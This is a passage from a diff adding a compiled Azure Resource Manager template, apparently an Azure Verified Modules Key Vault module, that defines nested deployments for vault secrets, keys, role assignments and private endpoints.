'00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + } + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "secret": { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), parameters('name'))]", + "tags": "[parameters('tags')]", + "properties": { + "contentType": "[parameters('contentType')]", + "attributes": { + "enabled": "[parameters('attributesEnabled')]", + "exp": "[parameters('attributesExp')]", + "nbf": "[parameters('attributesNbf')]" + }, + "value": "[parameters('value')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "secret_roleAssignments": { + "copy": { + "name": "secret_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}/secrets/{1}', parameters('keyVaultName'), parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults/secrets', parameters('keyVaultName'), parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "secret" + ] + } + }, + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the secret." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the secret." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/secrets', parameters('keyVaultName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the secret was created in." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_keys": { + "copy": { + "name": "keyVault_keys", + "count": "[length(coalesce(parameters('keys'), createArray()))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-Key-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(parameters('keys'), createArray())[copyIndex()].name]" + }, + "keyVaultName": { + "value": "[parameters('name')]" + }, + "attributesEnabled": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesEnabled')]" + }, + "attributesExp": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesExp')]" + }, + "attributesNbf": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesNbf')]" + }, + "curveName": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'curveName'), 'P-256')]" + }, + "keyOps": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'keyOps')]" + }, + "keySize": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'keySize')]" + }, + "kty": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'kty'), 'EC')]" + }, + "tags": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'tags'), parameters('tags'))]" + }, + "roleAssignments": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'roleAssignments')]" + }, + "rotationPolicy": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'rotationPolicy')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "5903918450419813264" + }, + "name": "Key Vault Keys", + "description": "This module deploys a Key Vault Key.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the key." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "attributesEnabled": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Determines whether the object is enabled." + } + }, + "attributesExp": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Expiry date in seconds since 1970-01-01T00:00:00Z. For security reasons, it is recommended to set an expiration date whenever possible." + } + }, + "attributesNbf": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Not before date in seconds since 1970-01-01T00:00:00Z." + } + }, + "curveName": { + "type": "string", + "defaultValue": "P-256", + "allowedValues": [ + "P-256", + "P-256K", + "P-384", + "P-521" + ], + "metadata": { + "description": "Optional. The elliptic curve name." + } + }, + "keyOps": { + "type": "array", + "nullable": true, + "allowedValues": [ + "decrypt", + "encrypt", + "import", + "sign", + "unwrapKey", + "verify", + "wrapKey" + ], + "metadata": { + "description": "Optional. Array of JsonWebKeyOperation." + } + }, + "keySize": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. The key size in bits. For example: 2048, 3072, or 4096 for RSA." + } + }, + "kty": { + "type": "string", + "defaultValue": "EC", + "allowedValues": [ + "EC", + "EC-HSM", + "RSA", + "RSA-HSM" + ], + "metadata": { + "description": "Optional. The type of the key." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "rotationPolicy": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Key rotation policy properties object." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + } + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "key": { + "type": "Microsoft.KeyVault/vaults/keys", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), parameters('name'))]", + "tags": "[parameters('tags')]", + "properties": { + "attributes": { + "enabled": "[parameters('attributesEnabled')]", + "exp": "[parameters('attributesExp')]", + "nbf": "[parameters('attributesNbf')]" + }, + "curveName": "[parameters('curveName')]", + "keyOps": "[parameters('keyOps')]", + "keySize": "[parameters('keySize')]", + "kty": "[parameters('kty')]", + "rotationPolicy": "[parameters('rotationPolicy')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "key_roleAssignments": { + "copy": { + "name": "key_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}/keys/{1}', parameters('keyVaultName'), parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults/keys', parameters('keyVaultName'), parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "key" + ] + } + }, + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the key." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the key." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/keys', parameters('keyVaultName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the key was created in." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_privateEndpoints": { + "copy": { + "name": "keyVault_privateEndpoints", + "count": "[length(coalesce(parameters('privateEndpoints'), createArray()))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-keyVault-PrivateEndpoint-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "resourceGroup": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'resourceGroupName'), '')]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'name'), format('pep-{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex()))]" + }, + "privateLinkServiceConnections": "[if(not(equals(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'isManualConnection'), true())), createObject('value', createArray(createObject('name', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateLinkServiceConnectionName'), format('{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex())), 'properties', createObject('privateLinkServiceId', resourceId('Microsoft.KeyVault/vaults', parameters('name')), 'groupIds', createArray(coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault')))))), createObject('value', null()))]", + "manualPrivateLinkServiceConnections": "[if(equals(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'isManualConnection'), true()), createObject('value', createArray(createObject('name', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateLinkServiceConnectionName'), format('{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex())), 'properties', createObject('privateLinkServiceId', resourceId('Microsoft.KeyVault/vaults', parameters('name')), 'groupIds', createArray(coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault')), 'requestMessage', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'manualConnectionRequestMessage'), 'Manual approval required.'))))), createObject('value', null()))]", + "subnetResourceId": { + "value": "[coalesce(parameters('privateEndpoints'), createArray())[copyIndex()].subnetResourceId]" + }, + "enableTelemetry": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'enableTelemetry'), parameters('enableTelemetry'))]" + }, + "location": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'location'), reference(split(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()].subnetResourceId, '/subnets/')[0], '2020-06-01', 'Full').location)]" + }, + "lock": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'lock'), parameters('lock'))]" + }, + "privateDnsZoneGroupName": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateDnsZoneGroupName')]" + }, + "privateDnsZoneResourceIds": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateDnsZoneResourceIds')]" + }, + "roleAssignments": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'roleAssignments')]" + }, + "tags": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'tags'), parameters('tags'))]" + }, + "customDnsConfigs": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'customDnsConfigs')]" + }, + "ipConfigurations": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'ipConfigurations')]" + }, + "applicationSecurityGroupResourceIds": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'applicationSecurityGroupResourceIds')]" + }, + "customNetworkInterfaceName": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'customNetworkInterfaceName')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.25.53.49325", + "templateHash": "4120048060064073955" + }, + "name": "Private Endpoints", + "description": "This module deploys a Private Endpoint.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + }, + "lockType": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify the name of lock." + } + }, + "kind": { + "type": "string", + "allowedValues": [ + "CanNotDelete", + "None", + "ReadOnly" + ], + "nullable": true, + "metadata": { + "description": "Optional. Specify the type of lock." + } + } + }, + "nullable": true + }, + "ipConfigurationsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the resource that is unique within a resource group." + } + }, + "properties": { + "type": "object", + "properties": { + "groupId": { + "type": "string", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "memberName": { + "type": "string", + "metadata": { + "description": "Required. The member name of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateIPAddress": { + "type": "string", + "metadata": { + "description": "Required. A private IP address obtained from the private endpoint's subnet." + } + } + }, + "metadata": { + "description": "Required. Properties of private endpoint IP configurations." + } + } + } + }, + "nullable": true + }, + "manualPrivateLinkServiceConnectionsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the private link service connection." + } + }, + "properties": { + "type": "object", + "properties": { + "groupIds": { + "type": "array", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateLinkServiceId": { + "type": "string", + "metadata": { + "description": "Required. The resource id of private link service." + } + }, + "requestMessage": { + "type": "string", + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with this connection request. Restricted to 140 chars." + } + } + }, + "metadata": { + "description": "Required. Properties of private link service connection." + } + } + } + }, + "nullable": true + }, + "privateLinkServiceConnectionsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the private link service connection." + } + }, + "properties": { + "type": "object", + "properties": { + "groupIds": { + "type": "array", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateLinkServiceId": { + "type": "string", + "metadata": { + "description": "Required. The resource id of private link service." + } + }, + "requestMessage": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with this connection request. Restricted to 140 chars." + } + } + }, + "metadata": { + "description": "Required. Properties of private link service connection." + } + } + } + }, + "nullable": true + }, + "customDnsConfigType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "fqdn": { + "type": "string", + "metadata": { + "description": "Required. Fqdn that resolves to private endpoint IP address." + } + }, + "ipAddresses": { + "type": "array", + "items": { + "type": "string" + }, + "metadata": { + "description": "Required. A list of private IP addresses of the private endpoint." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "name": { + "type": "string", + "metadata": { + "description": "Required. Name of the private endpoint resource to create." + } + }, + "subnetResourceId": { + "type": "string", + "metadata": { + "description": "Required. Resource ID of the subnet where the endpoint needs to be created." + } + }, + "applicationSecurityGroupResourceIds": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. Application security groups in which the private endpoint IP configuration is included." + } + }, + "customNetworkInterfaceName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The custom name of the network interface attached to the private endpoint." + } + }, + "ipConfigurations": { + "$ref": "#/definitions/ipConfigurationsType", + "metadata": { + "description": "Optional. A list of IP configurations of the private endpoint. This will be used to map to the First Party Service endpoints." + } + }, + "privateDnsZoneGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private DNS zone group to create if `privateDnsZoneResourceIds` were provided." + } + }, + "privateDnsZoneResourceIds": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. The private DNS zone groups to associate the private endpoint. A DNS zone group can support up to 5 DNS zones." + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Optional. Location for all Resources." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. The lock settings of the service." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Tags to be applied on all resources/resource groups in this deployment." + } + }, + "customDnsConfigs": { + "$ref": "#/definitions/customDnsConfigType", + "metadata": { + "description": "Optional. Custom DNS configurations." + } + }, + "manualPrivateLinkServiceConnections": { + "$ref": "#/definitions/manualPrivateLinkServiceConnectionsType", + "metadata": { + "description": "Optional. A grouping of information about the connection to the remote resource. Used when the network admin does not have access to approve connections to the remote resource." + } + }, + "privateLinkServiceConnections": { + "$ref": "#/definitions/privateLinkServiceConnectionsType", + "metadata": { + "description": "Optional. A grouping of information about the connection to the remote resource." + } + }, + "enableTelemetry": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "DNS Resolver Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '0f2ebee7-ffd4-4fc0-b3b7-664099fdad5d')]", + "DNS Zone Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'befefa01-2a29-4197-83a8-272ff33ce314')]", + "Domain Services Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'eeaeda52-9324-47f6-8069-5d5bade478b2')]", + "Domain Services Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '361898ef-9ed1-48c2-849c-a832951106bb')]", + "Network Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4d97b98b-1d4f-4787-a291-c67834d212e7')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Private DNS Zone Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b12aa53e-6015-4669-85d0-8515ebb3ae7f')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]" + } + }, + "resources": { + "avmTelemetry": { + "condition": "[parameters('enableTelemetry')]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2023-07-01", + "name": "[format('46d3xbcp.res.network-privateendpoint.{0}.{1}', replace('0.4.1', '.', '-'), substring(uniqueString(deployment().name, parameters('location')), 0, 4))]", + "properties": { + "mode": "Incremental", + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "resources": [], + "outputs": { + "telemetry": { + "type": "String", + "value": "For more information, see https://aka.ms/avm/TelemetryInfo" + } + } + } + } + }, + "privateEndpoint": { + "type": "Microsoft.Network/privateEndpoints", + "apiVersion": "2023-04-01", + "name": "[parameters('name')]", + "location": "[parameters('location')]", + "tags": "[parameters('tags')]", + "properties": { + "copy": [ + { + "name": "applicationSecurityGroups", + "count": "[length(coalesce(parameters('applicationSecurityGroupResourceIds'), createArray()))]", + "input": { + "id": "[coalesce(parameters('applicationSecurityGroupResourceIds'), createArray())[copyIndex('applicationSecurityGroups')]]" + } + } + ], + "customDnsConfigs": "[coalesce(parameters('customDnsConfigs'), createArray())]", + "customNetworkInterfaceName": "[coalesce(parameters('customNetworkInterfaceName'), '')]", + "ipConfigurations": "[coalesce(parameters('ipConfigurations'), createArray())]", + "manualPrivateLinkServiceConnections": "[coalesce(parameters('manualPrivateLinkServiceConnections'), createArray())]", + "privateLinkServiceConnections": "[coalesce(parameters('privateLinkServiceConnections'), createArray())]", + "subnet": { + "id": "[parameters('subnetResourceId')]" + } + } + }, + "privateEndpoint_lock": { + "condition": "[and(not(empty(coalesce(parameters('lock'), createObject()))), not(equals(tryGet(parameters('lock'), 'kind'), 'None')))]", + "type": 